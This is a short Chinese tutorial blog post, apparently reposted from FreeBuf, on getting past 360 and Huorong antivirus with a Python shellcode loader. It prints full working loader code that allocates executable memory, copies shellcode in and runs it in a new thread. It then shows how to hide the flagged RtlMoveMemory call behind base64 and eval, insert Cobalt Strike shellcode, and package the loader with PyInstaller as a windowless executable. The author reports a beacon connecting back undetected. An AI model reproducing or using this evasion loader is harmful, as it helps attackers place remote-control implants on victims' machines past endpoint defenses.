python bypass杀软第一季
2021-01-24 14:18:21 Author: www.freebuf.com(查看原文) 阅读量:223 收藏

python bypass360、火绒=-=

今天看b站看了yuppt大佬的免杀思路,决定记录下来,学习一下。

环境:python3.8.0_x86、CS4.0、火绒、360全家桶、pyintaller、帅哥一个。


1、 python的shellcode加载器:网上随便找都有。

# coding: utf-8
import ctypes
shellcode = b''
shellcode = bytearray(shellcode)

ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_int
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40))
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr), buf, ctypes.c_int(len(shellcode)))
h = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0), ctypes.c_int(0), ctypes.c_int(ptr), ctypes.c_int(0), ctypes.c_int(0), ctypes.pointer(ctypes.c_int(0)))
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(h), ctypes.c_int(-1))

2、这个加载器肯定是不免杀的,想免杀就要做点手脚,=-=比如买杀软的手脚。由于杀软不可能把shellcode直接杀掉,所以我们就来看一下杀软把哪一个函数给查杀了,手动fuzz发现,查杀的是:ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr), buf, ctypes.c_int(len(shellcode)))

image

3、想办法对ctypes.windll.kernel32.RtlMoveMemory这个函数进行处理。=-=各位表哥们的方法肯定很多,我这里就用最简单的方法进行处理,base64加密。

image

4、加密之后要怎么让这个代码执行呢,所以就要用到python的执行函数。eval大哥,其实还有很多可以代替eval函数,比如各位大佬应该可以想到exec吧。

image

5、用杀软先扫描一下,我先去买杀软的手脚,买好了,现在不杀了,成功bypass。

image

6、接来下就是拿出CS,生成一个c语言的shellcode。

image

7、然后把shellcode丢进加载器中。

image

8、使用pyintaller生成exe文件,启动杀软,=-=,点击运行,等待CS上线,完美过火绒、360动态和静态。ps:要想不要黑框,在打包的时候加-w参数就行了。

image

image

9、最后希望各位表哥们可以多多带上弟弟一起学习。


文章来源: https://www.freebuf.com/articles/system/261805.html
如有侵权请联系:admin#unsafe.sh